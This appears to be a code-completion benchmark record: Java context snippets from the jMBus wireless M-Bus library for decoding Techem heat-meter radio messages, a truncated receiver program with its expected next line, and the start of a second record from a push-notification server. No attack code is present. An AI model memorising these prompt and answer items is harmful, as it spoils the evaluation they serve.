builder = new StringBuilder();\n\n return builder.append(\"0x\").append(toShortHexString(b)).toString();\n }\n\n public static String toHexString(byte[] byteArray) {\n return toHexString(byteArray, 0, byteArray.length);\n }\n\n public static String toHexString(byte[] byteArray, int offset, int length) {\n StringBuilder builder = new StringBuilder();\n\n int l = 1;\n for (int i = offset; i < (offset + length); i++) {\n if ((l != 1) && ((l - 1) % 8 == 0)) {\n builder.append(' ');\n }\n if ((l != 1) && ((l - 1) % 16 == 0)) {\n builder.append('\\n');\n }\n l++;\n builder.append(toHexString(byteArray[i]));\n if (i != offset + length - 1) {\n builder.append(' ');\n }\n }\n\n return builder.toString();\n }\n\n public static String toShortHexString(int b) {\n return String.format(\"%02x\", b);\n }\n\n public static String toShortHexString(byte b) {\n return toShortHexString(b & 0xff);\n }\n\n public static String toShortHexString(byte[] byteArray) {\n return toShortHexString(byteArray, 0, byteArray.length);\n }\n\n public static String toShortHexString(byte[] byteArray, int offset, int length) {\n StringBuilder builder = new StringBuilder();\n for (int i = offset; i < (offset + length); i++) {\n builder.append(toShortHexString(byteArray[i]));\n }\n\n return builder.toString();\n }\n\n public static byte[] fromShortHexString(String shortHexString) throws NumberFormatException {\n\n validate(shortHexString);\n\n int length = shortHexString.length();\n\n byte[] data = new byte[length / 2];\n for (int i = 0; i < length; i += 2) {\n int firstCharacter = Character.digit(shortHexString.charAt(i), 16);\n int secondCharacter = Character.digit(shortHexString.charAt(i + 1), 16);\n\n if (firstCharacter == -1 || secondCharacter == -1) {\n throw new NumberFormatException(\"string is not a legal hex string.\");\n }\n\n data[i / 2] = (byte) ((firstCharacter << 4) + secondCharacter);\n }\n return data;\n }\n\n private static void validate(String s) {\n if (s == null) {\n throw new IllegalArgumentException(\"string s may not be null\");\n }\n\n if ((s.length() == 0) || ((s.length() % 2) != 0)) {\n throw new NumberFormatException(\"string is not a legal hex string.\");\n }\n }\n\n /**\n * Don't let anyone instantiate this class.\n */\n private HexConverter() {\n }\n}", "public class SecondaryAddress {\n\n private String manufacturerId;\n private Bcd deviceId;\n private final int version;\n private final DeviceType deviceType;\n private final byte[] bytes = new byte[8];\n private final int hashCode;\n\n private SecondaryAddress(byte[] buffer, int offset, boolean longHeader) {\n System.arraycopy(buffer, offset, bytes, 0, bytes.length);\n hashCode = Arrays.hashCode(Arrays.copyOfRange(buffer, offset, bytes.length + offset - 1));\n\n int i = offset;\n\n if (longHeader) {\n i = decodeDeviceId(buffer, i);\n i = decodeManufacturerId(buffer, i);\n }\n else {\n i = decodeManufacturerId(buffer, i);\n i = decodeDeviceId(buffer, i);\n }\n version = buffer[i++] & 0xff;\n deviceType = DeviceType.getInstance(buffer[i++] & 0xff);\n }\n\n private int decodeManufacturerId(byte[] buffer, int i) {\n int manufacturerIdAsInt = (buffer[i++] & 0xff) + (buffer[i++] << 8);\n char c = (char) ((manufacturerIdAsInt & 0x1f) + 64);\n manufacturerIdAsInt = (manufacturerIdAsInt >> 5);\n char c1 = (char) ((manufacturerIdAsInt & 0x1f) + 64);\n manufacturerIdAsInt = (manufacturerIdAsInt >> 5);\n char c2 = (char) ((manufacturerIdAsInt & 0x1f) + 64);\n manufacturerId = \"\" + c2 + c1 + c;\n return i;\n }\n\n private static byte[] encodeManufacturerId(String manufactureId) {\n\n byte[] mfId = new byte[] { 0, 0 };\n\n if (manufactureId.length() == 3) {\n\n manufactureId = manufactureId.toUpperCase();\n\n char[] manufactureIdArray = manufactureId.toCharArray();\n int manufacturerIdAsInt = (manufactureIdArray[0] - 64) * 32 * 32;\n manufacturerIdAsInt += (manufactureIdArray[1] - 64) * 32;\n manufacturerIdAsInt += (manufactureIdArray[1] - 64);\n\n mfId = ByteBuffer.allocate(4).putInt(manufacturerIdAsInt).array();\n }\n\n return mfId;\n }\n\n private int decodeDeviceId(byte[] buffer, int i) {\n byte[] idArray = new byte[4];\n idArray[0] = buffer[i++];\n idArray[1] = buffer[i++];\n idArray[2] = buffer[i++];\n idArray[3] = buffer[i++];\n deviceId = new Bcd(idArray);\n return i;\n }\n\n public static SecondaryAddress getFromLongHeader(byte[] buffer, int offset) {\n return new SecondaryAddress(buffer, offset, true);\n }\n\n public static SecondaryAddress getFromWMBusLinkLayerHeader(byte[] buffer, int offset) {\n return new SecondaryAddress(buffer, offset, false);\n }\n\n public static SecondaryAddress getFromHexString(String hexString) throws NumberFormatException {\n byte[] buffer = HexConverter.fromShortHexString(hexString);\n return new SecondaryAddress(buffer, 0, true);\n }\n\n public static SecondaryAddress getFromManufactureId(byte[] idNumber, String manufactureId, byte version, byte media)\n throws NumberFormatException {\n\n if (idNumber.length == 8) {\n byte[] mfId = encodeManufacturerId(manufactureId);\n byte[] buffer = ByteBuffer.allocate(idNumber.length + mfId.length + 1 + 1)\n .put(idNumber)\n .put(mfId)\n .put(version)\n .put(media)\n .array();\n return new SecondaryAddress(buffer, 0, true);\n }\n else {\n throw new NumberFormatException(\"Wrong length of idNumber. Allowed length is 8.\");\n }\n }\n\n public byte[] asByteArray() {\n return bytes;\n }\n\n public int getHashCode() {\n return hashCode;\n }\n\n public String getManufacturerId() {\n return manufacturerId;\n }\n\n /**\n * Returns the device ID. This is secondary address of the device.\n * \n * @return the device ID\n */\n public Bcd getDeviceId() {\n return deviceId;\n }\n\n /**\n * Returns the device type (e.g. gas, water etc.)\n * \n * @return the device type\n */\n public DeviceType getDeviceType() {\n return deviceType;\n }\n\n public int getVersion() {\n return version;\n }\n\n @Override\n public String toString() {\n StringBuilder builder = new StringBuilder();\n builder.append(\"manufacturer ID: \")\n .append(manufacturerId)\n .append(\", device ID: \")\n .append(deviceId)\n .append(\", device version: \")\n .append(version)\n .append(\", device type: \")\n .append(deviceType)\n .append(\", as bytes: \");\n\n HexConverter.appendShortHexString(builder, bytes, 0, bytes.length);\n return builder.toString();\n }\n\n}", "public class TechemHKVMessage extends WMBusMessage{\n\n private final byte[] hkvBuffer;\n\n\tint ciField;\n\tString status=\"\";\n\tCalendar lastDate=null;\n\tCalendar curDate=null;\n\tint lastVal=-1;\n\tint curVal=-1;\n\tfloat t1=-1;\n\tfloat t2=-1;\n\tbyte[] historyBytes=new byte[27];\n\tString history=\"\";\n\t\n\tSimpleDateFormat dateFormat = new SimpleDateFormat(\"yyyy-MM-dd\");\n\n\tpublic TechemHKVMessage(WMBusMessage originalMessage){\n\t\tthis(originalMessage.asBytes(),originalMessage.getRssi(),originalMessage.keyMap);\n\t}\n \n TechemHKVMessage(byte[] buffer, Integer signalStrengthInDBm, HashMap<String, byte[]> keyMap) {\n super(buffer,signalStrengthInDBm, keyMap);\n \tthis.hkvBuffer=buffer;\n }\n\n @Override\n public void decodeDeep() throws DecodingException {\n try {\n \tsuper.decodeDeep();\n } catch (DecodingException e) {\n \tint offset=10;\n \t\n \t\tciField=hkvBuffer[offset+0] & 0xff;\n \t\t\n \tif ((ciField == 0xa0 || ciField == 0xa2) && getSecondaryAddress().getManufacturerId().equals(\"TCH\")\t){\n \t\tstatus=HexConverter.toShortHexString(hkvBuffer[offset+1]);\n \t\tlastDate=parseLastDate(offset+2);\n \t\tcurDate=parseCurrentDate(offset+6);\n \t\tlastVal=parseBigEndianInt(offset+4);\n \t\tcurVal=parseBigEndianInt(offset+8);\n \t\tt1=parseTemp(offset+10);\n \t\tt2=parseTemp(offset+12);\n \t\t\n \t\tSystem.arraycopy(hkvBuffer, 24, historyBytes, 0, hkvBuffer.length-24);\n \t\thistory=HexConverter.toShortHexString(historyBytes);\n \t\t\n \t} else {\n \t\tthrow e;\n \t}\n } \n }\n \n public Calendar getLastDate() {\n\t\treturn lastDate;\n\t}\n\n\tpublic Calendar getCurDate() {\n\t\treturn curDate;\n\t}\n\n\tpublic int getLastVal() {\n\t\treturn lastVal;\n\t}\n\n\tpublic int getCurVal() {\n\t\treturn curVal;\n\t}\n\n\tpublic float getT1() {\n\t\treturn t1;\n\t}\n\n\tpublic float getT2() {\n\t\treturn t2;\n\t}\n\n\tpublic String getHistory() {\n\t\treturn history;\n\t}\n\n\tint parseBigEndianInt(int i){\n \treturn (hkvBuffer[i] & 0xFF)+((hkvBuffer[i+1] & 0xFF)<<8);\n }\n \n float parseTemp(int i){ \t\n \tfloat tempint=parseBigEndianInt(i);\n \t\n \treturn tempint/100;\n \t//return String.format(\"%.2f\", tempint / 100)+\"�C\";\n }\n \n private Calendar parseLastDate(int i){\n \tint dateint=parseBigEndianInt(i);\n\n int day = (dateint >> 0) & 0x1F;\n int month = (dateint >> 5) & 0x0F;\n int year = (dateint >> 9) & 0x3F;\n \t\n// return LocalDate.of(2000+year, month, day);\n Calendar calendar = new GregorianCalendar();\n calendar.set(Calendar.YEAR, 2000+year);\n calendar.set(Calendar.MONTH, month-1);\n calendar.set(Calendar.DAY_OF_MONTH, day);\n\n return calendar;\n }\n \n private Calendar parseCurrentDate(int i){\n \tint dateint=parseBigEndianInt(i);\n\n int day = (dateint >> 4) & 0x1F;\n int month = (dateint >> 9) & 0x0F;\n// int year = (dateint >> 13) & 0x07;\n Calendar calendar = new GregorianCalendar();\n calendar.set(calendar.get(Calendar.YEAR), month-1, day);\n return calendar;\n// return LocalDate.of( LocalDate.now().getYear(), month, day);\n }\n\n public String renderTechemFields() {\n \tString s = \"\";\n \t\n\t\ts+=\"Last Date: \"+dateFormat.format(lastDate.getTime());\n\t\ts+=\", Last Value: \"+lastVal;\n\t\t\n\t\ts+=\", Current Date: \"+dateFormat.format(curDate.getTime());\n\t\ts+=\", Current Value: \"+curVal;\n\n\t\ts+=\", T1: \"+String.format(\"%.2f\", t1)+\"�C\";\n\t\ts+=\", T2: \"+String.format(\"%.2f\", t2)+\"�C\";\n\n\t\ts+=\", History: \"+ history;\n \treturn s;\n }\n \n @Override\n public String toString() {\n \t\n StringBuilder builder = new StringBuilder();\n if (getVariableDataResponse()==null) {\n builder.append(\"Message has not been decoded. Bytes of this message: \");\n HexConverter.appendHexString(builder, hkvBuffer, 0, hkvBuffer.length);\n return builder.toString();\n } else {\n builder.append(new Date())\n\t\t .append(\";\").append(getRssi())\n\t\t .append(\";\").append(getControlField())\n\t\t .append(\";\").append(getSecondaryAddress().getManufacturerId())\n\t\t .append(\";\").append(getSecondaryAddress().getDeviceId())\n\t\t .append(\";\").append(getSecondaryAddress().getVersion())\n\t\t .append(\";\").append(getSecondaryAddress().getDeviceType())\n\t\t .append(\";\").append(ciField)\n\t\t .append(\";\").append(status)\n\t\t .append(\";\").append(dateFormat.format(lastDate.getTime()))\n\t\t .append(\";\").append(lastVal)\n\t\t .append(\";\").append(dateFormat.format(curDate.getTime()))\n\t\t .append(\";\").append(curVal)\n\t\t .append(\";\").append(t1)\n\t\t .append(\";\").append(t2)\n\t\t .append(\";\").append(history)\n \t\t.append(\";\").append(HexConverter.toShortHexString(hkvBuffer));\n return builder.toString();\n }\n }\n}", "public class WMBusMessage {\n\n private final byte[] buffer;\n private final Integer signalStrengthInDBm;\n HashMap<String, byte[]> keyMap;\n\n private int length;\n private int controlField;\n private SecondaryAddress secondaryAddress;\n private VariableDataStructure vdr;\n\n private boolean decoded = false;\n\n WMBusMessage(byte[] buffer, Integer signalStrengthInDBm, HashMap<String, byte[]> keyMap) {\n this.buffer = buffer;\n this.signalStrengthInDBm = signalStrengthInDBm;\n this.keyMap = keyMap;\n }\n\n public void decode() throws DecodingException {\n length = buffer[0] & 0xff;\n if (length > (buffer.length - 1)) {\n throw new DecodingException(\"byte buffer has only a length of \" + buffer.length\n + \" while the specified length field is \" + length);\n }\n controlField = buffer[1] & 0xff;\n secondaryAddress = SecondaryAddress.getFromWMBusLinkLayerHeader(buffer, 2);\n vdr = new VariableDataStructure(buffer, 10, length - 9, secondaryAddress, keyMap);\n\n decoded = true;\n }\n\n public void decodeDeep() throws DecodingException {\n decode();\n vdr.decode();\n }\n\n public boolean isDecoded() {\n return decoded;\n }\n\n public byte[] asBytes() {\n return buffer;\n }\n\n public int getControlField() {\n return controlField;\n }\n\n public SecondaryAddress getSecondaryAddress() {\n return secondaryAddress;\n }\n\n public VariableDataStructure getVariableDataResponse() {\n return vdr;\n }\n\n /**\n * Returns the received signal string indication (RSSI) in dBm.\n * \n * @return the RSSI\n */\n public Integer getRssi() {\n return signalStrengthInDBm;\n }\n\n @Override\n public String toString() {\n StringBuilder builder = new StringBuilder();\n if (signalStrengthInDBm != null) {\n builder.append(\"Message was received with signal strength: \").append(signalStrengthInDBm).append(\"dBm\\n\");\n }\n if (!decoded) {\n builder.append(\"Message has not been decoded. Bytes of this message:\\n\");\n HexConverter.appendHexString(builder, buffer, 0, buffer.length);\n return builder.toString();\n }\n else {\n builder.append(\"control field: \");\n HexConverter.appendHexString(controlField, builder);\n builder.append(\"\\nSecondary Address -> \")\n .append(secondaryAddress)\n .append(\"\\nVariable Data Response:\\n\")\n .append(vdr);\n return builder.toString();\n }\n }\n\n}", "public enum WMBusMode {\n T,\n S\n}", "public interface WMBusSap {\n\n /**\n * Opens the serial port of this service access point and then configures the transceiver (e.g. sets the\n * transmission mode).\n * \n * @throws IOException\n * if any kind of error occurs while opening.\n */\n public void open() throws IOException;\n\n /**\n * Closes the service access point and its associated serial port.\n */\n public void close();\n\n /**\n * Stores a pair of secondary address and cryptographic key. The stored keys are automatically used to decrypt\n * messages when {@link WMBusMessage#decode()} is called.\n * \n * @param address\n * the secondary address\n * @param key\n * the cryptographic key\n */\n public void setKey(SecondaryAddress address, byte[] key);\n\n /**\n * Removes the stored key for the given secondary address.\n * \n * @param address\n * the secondary address for which to remove the stored key\n */\n public void removeKey(SecondaryAddress address);\n\n}", "public class WMBusSapAmber extends AbstractWMBusSap {\n\n private MessageReceiver receiver;\n\n private class MessageReceiver extends Thread {\n\n private final ExecutorService executor = Executors.newSingleThreadExecutor();\n\n private int discardCount = 0;\n\n @Override\n public void run() {\n\n int timeElapsed = 0;\n int readBytesTotal = 0;\n int messageLength = -1;\n\n try {\n while (!closed) {\n\n try {\n Thread.sleep(100);\n } catch (InterruptedException e) {\n }\n\n if (is.available() > 0) {\n\n int messageStartIndex = 0;\n timeElapsed = 0;\n\n readBytesTotal += is.read(inputBuffer, readBytesTotal, BUFFER_LENGTH - readBytesTotal);\n\n while ((readBytesTotal - messageStartIndex) > 10) {\n\n // no beginning of message has been found\n if (messageLength == -1) {\n for (int i = (messageStartIndex + 1); i < readBytesTotal; i++) {\n if (inputBuffer[i] == 0x44) {\n messageStartIndex = i - 1;\n messageLength = (inputBuffer[messageStartIndex] & 0xff) + 1;\n break;\n }\n }\n if (messageLength == -1) {\n discard(messageStartIndex, (readBytesTotal - messageStartIndex));\n messageStartIndex = readBytesTotal;\n break;\n }\n }\n\n if ((readBytesTotal - messageStartIndex) >= messageLength) {\n\n int rssi = inputBuffer[messageLength + messageStartIndex - 1] & 0xff;\n final Integer signalStrengthInDBm;\n\n if (rssi >= 128) {\n signalStrengthInDBm = ((rssi - 256) / 2) - 74;\n }\n else {\n signalStrengthInDBm = (rssi / 2) - 74;\n }\n\n final byte[] messageBytes = new byte[messageLength - 1];\n System.arraycopy(inputBuffer, messageStartIndex, messageBytes, 0, messageLength - 1);\n messageBytes[0] = (byte) (messageBytes[0] - 1);\n\n executor.execute(new Runnable() {\n @Override\n public void run() {\n listener.newMessage(\n new WMBusMessage(messageBytes, signalStrengthInDBm, keyMap));\n }\n });\n\n messageStartIndex += messageLength;\n messageLength = -1;\n\n }\n else {\n break;\n }\n }\n if (messageStartIndex > 0) {\n for (int i = messageStartIndex; i < readBytesTotal; i++) {\n inputBuffer[i - messageStartIndex] = inputBuffer[i];\n }\n }\n readBytesTotal -= messageStartIndex;\n\n }\n else if (readBytesTotal > 0) {\n timeElapsed += 100;\n if (timeElapsed > 500) {\n discard(0, readBytesTotal);\n timeElapsed = 0;\n readBytesTotal = 0;\n messageLength = -1;\n }\n }\n\n }\n\n } catch (final Exception e) {\n close();\n executor.execute(new Runnable() {\n @Override\n public void run() {\n listener.stoppedListening(new IOException(e));\n }\n });\n\n } finally {\n executor.shutdown();\n }\n\n }\n\n private void discard(int offset, int length) {\n \tdiscardCount++;\n final byte[] discardedBytes = new byte[length];\n System.arraycopy(inputBuffer, offset, discardedBytes, 0, length);\n\n executor.execute(new Runnable() {\n @Override\n public void run() {\n listener.discardedBytes(discardedBytes);\n }\n });\n \n if(discardCount>=5){\n executor.execute(new Runnable() {\n @Override\n public void run() {\n reset();\n }\n });\n discardCount=0;\n }\n }\n }\n\n public WMBusSapAmber(String serialPortName, WMBusMode mode, WMBusListener listener) {\n super(mode, listener);\n this.serialTransceiver = new SerialTransceiver(serialPortName, 9600, SerialPort.DATABITS_8,\n SerialPort.STOPBITS_1, SerialPort.PARITY_NONE);\n\n }\n\n @Override\n public void open() throws IOException {\n if (!closed) {\n return;\n }\n serialTransceiver.open();\n os = serialTransceiver.getOutputStream();\n is = serialTransceiver.getInputStream();\n initializeWirelessTransceiver(mode);\n receiver = new MessageReceiver();\n closed = false;\n receiver.start();\n }\n\n /**\n * @param mode\n * - the wMBus mode to be used for transmission\n * @throws IOException\n */\n private void initializeWirelessTransceiver(WMBusMode mode) throws IOException {\n switch (mode) {\n case S:\n amberSetReg((byte) 0x46, (byte) 0x03);\n break;\n case T:\n amberSetReg((byte) 0x46, (byte) 0x08); // T2-OTHER (correct for receiving station in T mode)\n break;\n default:\n throw new IOException(\"wMBUS Mode '\" + mode.toString() + \"' is not supported\");\n }\n amberSetReg((byte) 0x45, (byte) 0x01); // Enable attaching RSSI to message\n }\n\n /**\n * writes a \"CMD_SET_REQ\" to the Amber module\n * \n * @param cmd\n * - register address of the Amber module\n * @param data\n * - new value(s) for this register address(es)\n * @return - true=success, false=failure\n */\n private boolean writeCommand(byte cmd, byte[] data) {\n outputBuffer[0] = (byte) 0xff;\n outputBuffer[1] = cmd;\n outputBuffer[2] = (byte) data.length;\n\n for (int i = 0; i < data.length; i++) {\n outputBuffer[3 + i] = data[i];\n }\n\n byte checksum = (byte) (outputBuffer[0] ^ outputBuffer[1]);\n\n for (int i = 2; i < (3 + data.length); i++) {\n checksum = (byte) (checksum ^ outputBuffer[i]);\n }\n\n outputBuffer[3 + data.length] = checksum;\n\n try {\n os.write(outputBuffer, 0, data.length + 4);\n os.flush();\n } catch (IOException e) {\n return false;\n }\n\n return true;\n }\n \n private boolean amberSetReg(byte reg, byte value) {\n byte[] data = new byte[3];\n data[0] = reg;\n data[1] = 0x01;\n data[2] = value;\n\n writeCommand((byte) 0x09, data);\n\n int timeval = 0;\n int timeout = 500;\n try {\n while (timeval < timeout) {\n if (is.available() > 0) {\n is.read(inputBuffer);\n }\n\n try {\n Thread.sleep(100);\n } catch (InterruptedException e) {\n }\n\n timeval += 100;\n\n }\n } catch (IOException e) {\n return false;\n }\n\n return true;\n }\n \n\tpublic void reset(){\n \tbyte[] rst = new byte[0];\n \twriteCommand((byte) 0x05, rst);\n// \tSystem.out.println(\"Reset\");\n\t}\n\n\n}", "public class WMBusSapRadioCrafts extends AbstractWMBusSap {\n\n private MessageReceiver receiver;\n\n private class MessageReceiver extends Thread {\n\n private final ExecutorService executor = Executors.newSingleThreadExecutor();\n\n @Override\n public void run() {\n\n int timeElapsed = 0;\n int readBytesTotal = 0;\n int messageLength = -1;\n\n try {\n while (!closed) {\n\n try {\n Thread.sleep(100);\n } catch (InterruptedException e) {\n }\n\n if (is.available() > 0) {\n\n int messageStartIndex = 0;\n timeElapsed = 0;\n\n readBytesTotal += is.read(inputBuffer, readBytesTotal, BUFFER_LENGTH - readBytesTotal);\n\n while ((readBytesTotal - messageStartIndex) > 10) {\n\n // no beginning of message has been found\n if (messageLength == -1) {\n for (int i = (messageStartIndex + 1); i < readBytesTotal; i++) {\n if (inputBuffer[i] == 0x44) {\n messageStartIndex = i - 1;\n messageLength = (inputBuffer[messageStartIndex] & 0xff) + 1;\n break;\n }\n }\n if (messageLength == -1) {\n discard(messageStartIndex, (readBytesTotal - messageStartIndex));\n messageStartIndex = readBytesTotal;\n break;\n }\n }\n\n if ((readBytesTotal - messageStartIndex) >= messageLength) {\n\n int rssi = inputBuffer[messageLength + messageStartIndex - 1] & 0xff;\n final Integer signalStrengthInDBm;\n\n signalStrengthInDBm = (rssi * -1) / 2;\n\n final byte[] messageBytes = new byte[messageLength - 1];\n System.arraycopy(inputBuffer, messageStartIndex, messageBytes, 0, messageLength - 1);\n messageBytes[0] = (byte) (messageBytes[0] - 1);\n\n executor.execute(new Runnable() {\n @Override\n public void run() {\n listener.newMessage(\n new WMBusMessage(messageBytes, signalStrengthInDBm, keyMap));\n }\n });\n\n messageStartIndex += messageLength;\n messageLength = -1;\n\n }\n else {\n break;\n }\n }\n if (messageStartIndex > 0) {\n for (int i = messageStartIndex; i < readBytesTotal; i++) {\n inputBuffer[i - messageStartIndex] = inputBuffer[i];\n }\n }\n readBytesTotal -= messageStartIndex;\n\n }\n else if (readBytesTotal > 0) {\n timeElapsed += 100;\n if (timeElapsed > 500) {\n discard(0, readBytesTotal);\n timeElapsed = 0;\n readBytesTotal = 0;\n messageLength = -1;\n }\n }\n\n }\n\n } catch (final Exception e) {\n close();\n executor.execute(new Runnable() {\n @Override\n public void run() {\n listener.stoppedListening(new IOException(e));\n }\n });\n\n } finally {\n executor.shutdown();\n }\n\n }\n\n private void discard(int offset, int length) {\n final byte[] discardedBytes = new byte[length];\n System.arraycopy(inputBuffer, offset, discardedBytes, 0, length);\n\n executor.execute(new Runnable() {\n @Override\n public void run() {\n listener.discardedBytes(discardedBytes);\n }\n });\n }\n }\n\n public WMBusSapRadioCrafts(String serialPortName, WMBusMode mode, WMBusListener listener) {\n super(mode, listener);\n this.serialTransceiver = new SerialTransceiver(serialPortName, 19200, SerialPort.DATABITS_8,\n SerialPort.STOPBITS_1, SerialPort.PARITY_NONE);\n }\n\n @Override\n public void open() throws IOException {\n if (!closed) {\n return;\n }\n serialTransceiver.open();\n os = serialTransceiver.getOutputStream();\n is = serialTransceiver.getInputStream();\n initializeWirelessTransceiver(mode);\n receiver = new MessageReceiver();\n closed = false;\n receiver.start();\n\n }\n\n /**\n * @param mode\n * - the wMBus mode to be used for transmission\n * @throws IOException\n */\n private void initializeWirelessTransceiver(WMBusMode mode) throws IOException {\n enterConfigMode();\n\n switch (mode) {\n case S:\n\n /* Set S mode */\n sendByteInConfigMode(0x4d);\n os.write(0x03);\n os.write(0x00);\n sendByteInConfigMode(0xff);\n\n /* Set master mode */\n sendByteInConfigMode(0x4d);\n os.write(0x12);\n os.write(0x01);\n sendByteInConfigMode(0xff);\n\n /* Get RSSI information with corresponding message */\n sendByteInConfigMode(0x4d);\n os.write(0x05);\n os.write(0x01);\n sendByteInConfigMode(0xff);\n\n // /* Set Auto Answer Register */\n // sendByteInConfigMode(0x41);\n // sendByteInConfigMode(0xff);\n\n break;\n case T:\n /* Set T2 mode */\n sendByteInConfigMode(0x4d);\n os.write(0x03);\n os.write(0x02);\n sendByteInConfigMode(0xff);\n\n /* Set master mode */\n sendByteInConfigMode(0x4d);\n os.write(0x12);\n os.write(0x01);\n sendByteInConfigMode(0xff);\n\n /* Get RSSI information with corresponding message */\n sendByteInConfigMode(0x4d);\n os.write(0x05);\n os.write(0x01);\n sendByteInConfigMode(0xff);\n\n // /* Set Auto Answer Register */\n // sendByteInConfigMode(0x41);\n // sendByteInConfigMode(0xff);\n break;\n default:\n throw new IOException(\"wMBUS Mode '\" + mode.toString() + \"' is not supported\");\n }\n\n leaveConfigMode();\n\n }\n\n private void leaveConfigMode() throws IOException {\n os.write(0x58);\n }\n\n private void enterConfigMode() throws IOException {\n sendByteInConfigMode(0x00);\n }\n\n private void sendByteInConfigMode(int b) throws IOException {\n int timeval = 0;\n int timeout = 500;\n int read;\n\n if (is.available() > 0) {\n read = is.read(inputBuffer);\n }\n\n os.write(b);\n\n while (timeval < timeout) {\n if (is.available() > 0) {\n read = is.read();\n if (read != 0x3e) {\n throw new IOException(\"sendByteInConfigMode failed\");\n }\n }\n\n try {\n Thread.sleep(100);\n } catch (InterruptedException e) {\n }\n\n timeval += 100;\n }\n\n }\n\n}" ]
import org.openmuc.jmbus.WMBusSapRadioCrafts; import java.io.IOException; import org.openmuc.jmbus.DecodingException; import org.openmuc.jmbus.HexConverter; import org.openmuc.jmbus.SecondaryAddress; import org.openmuc.jmbus.TechemHKVMessage; import org.openmuc.jmbus.WMBusMessage; import org.openmuc.jmbus.WMBusMode; import org.openmuc.jmbus.WMBusSap; import org.openmuc.jmbus.WMBusSapAmber;
/* * Copyright 2010-16 Fraunhofer ISE * * This file is part of jMBus. * For more information visit http://www.openmuc.org * * jMBus is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * jMBus is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with jMBus. If not, see <http://www.gnu.org/licenses/>. * */ package org.openmuc.jmbus.app; /** * * @author * */ public class TechemReceiver extends WMBusReceiver{ private static boolean debugMode = false ; int[] filterIDs = {}; // put IDs of devices you are interested in. If emtpy, no filtering takes place. private static void printUsage() { System.out.println( "SYNOPSIS\n\torg.openmuc.jmbus.app.TechemReceiver <serial_port> <transceiver> <mode> [--debug] [<secondary_address>:<key>...]"); System.out.println( "DESCRIPTION\n\tListens using a wireless M-Bus transceiver on the given serial port for proprietary Techem heat cost allocator wireless M-bus messages and prints them to stdout. Errors are printed to stderr."); System.out.println("OPTIONS"); System.out.println( "\t<serial_port>\n\t The serial port used for communication. Examples are /dev/ttyS0 (Linux) or COM1 (Windows)\n"); System.out.println( "\t<transceiver>\n\t The transceiver being used. It can be 'amber' or 'rc' for modules from RadioCrafts\n"); System.out.println("\t<mode>\n\t The wM-Bus mode can be S or T\n"); System.out.println("\t--debug\n\t Print more verbose error information\n"); System.out.println( "\t<secondary_address>:<key>...\n\t Address/key pairs that shall be used to decode the incoming messages. The secondary address consists of 8 bytes that should be specified in hexadecimal form.\n"); } public static void main(String[] args) { if (args.length < 3) { printUsage(); System.exit(1); } String serialPortName = args[0]; String modeString = args[2].toUpperCase(); WMBusMode mode = null; if (modeString.equals("S")) { mode = WMBusMode.S; } else if (modeString.equals("T")) { mode = WMBusMode.T; } else { printUsage(); System.exit(1); } String transceiverString = args[1].toLowerCase(); WMBusSap tempMBusSap = null; if (transceiverString.equals("amber")) { tempMBusSap = new WMBusSapAmber(serialPortName, mode, new TechemReceiver()); } else if (transceiverString.equals("rc")) {
tempMBusSap = new WMBusSapRadioCrafts(serialPortName, mode, new TechemReceiver());
8
ctodb/push
cn.ctodb.push.server/src/main/java/cn/ctodb/push/server/handler/HandshakeHandler.java
[ "public class Connection {\n\n private ChannelHandlerContext chc;\n\n public void send(Packet packet) {\n chc.channel().writeAndFlush(packet);\n }\n\n public ChannelHandlerContext getChc() {\n return chc;\n }\n\n public void setChc(ChannelHandlerContext chc) {\n this.chc = chc;\n }\n}", "public enum Command {\n HEARTBEAT(1),\n HANDSHAKE_REQ(10),\n HANDSHAKE_RESP(11),\n ERROR(2),\n LOGIN(3),\n LOGOUT(4),\n BIND(5),\n UNBIND(6),\n PUSH(7),\n TEXT_MESSAGE(100),\n UNKNOWN(-1);\n\n Command(int cmd) {\n this.cmd = (byte) cmd;\n }\n\n public final byte cmd;\n\n public static Command toCMD(byte b) {\n for (Command command : values()) {\n if (command.cmd == b) {\n return command;\n }\n }\n return UNKNOWN;\n }\n\n}", "@org.msgpack.annotation.Message\npublic class HandshakeReq {\n\n public String deviceId;\n public String osName;\n public String osVersion;\n public String clientVersion;\n\n}", "@org.msgpack.annotation.Message\npublic class HandshakeResp {\n\n public byte[] serverKey;\n public int heartbeat;\n public String sessionId;\n public long expireTime;\n\n}", "@Message\npublic class Packet {\n\n private byte cmd; // 命令\n private short cc; // 校验码 暂时没有用到\n private byte flags; // 特性,如是否加密,是否压缩等\n private String sessionId; // 会话id。客户端生成。\n private byte lrc; // 校验,纵向冗余校验。只校验head\n private byte[] body;\n\n\n public Packet(byte cmd) {\n this.cmd = cmd;\n }\n\n public Packet() {\n }\n\n public Packet(byte cmd, String sessionId) {\n this.cmd = cmd;\n this.sessionId = sessionId;\n }\n\n public Packet(Command cmd) {\n this.cmd = cmd.cmd;\n }\n\n public Packet(Command cmd, String sessionId) {\n this.cmd = cmd.cmd;\n this.sessionId = sessionId;\n }\n\n @Override\n public String toString() {\n return \"{\" + \"cmd=\" + cmd + \", cc=\" + cc + \", flags=\" + flags + \", sessionId=\" + sessionId + \", lrc=\" + lrc\n + \", body=\" + (body == null ? 0 : body.length) + '}';\n }\n\n public byte getCmd() {\n return cmd;\n }\n\n public void setCmd(byte cmd) {\n this.cmd = cmd;\n }\n\n public short getCc() {\n return cc;\n }\n\n public void setCc(short cc) {\n this.cc = cc;\n }\n\n public byte getFlags() {\n return flags;\n }\n\n public void setFlags(byte flags) {\n this.flags = flags;\n }\n\n public String getSessionId() {\n return sessionId;\n }\n\n public void setSessionId(String sessionId) {\n this.sessionId = sessionId;\n }\n\n public byte getLrc() {\n return lrc;\n }\n\n public void setLrc(byte lrc) {\n this.lrc = lrc;\n }\n\n public byte[] getBody() {\n return body;\n }\n\n public void setBody(byte[] body) {\n this.body = body;\n }\n}", "public abstract class AbstractHandler<T> extends PacketHandler {\n\n public T decode(Packet packet) {\n try {\n return new MessagePack().read(packet.getBody(), getType());\n } catch (IOException e) {\n e.printStackTrace();\n }\n return null;\n }\n\n public abstract Class<T> getType();\n\n public abstract void handle(T message, Connection connection);\n\n public void handle(Packet packet, Connection connection) {\n T t = decode(packet);\n if (t != null) {\n handle(t, connection);\n }\n }\n}", "public class PushSession implements Session 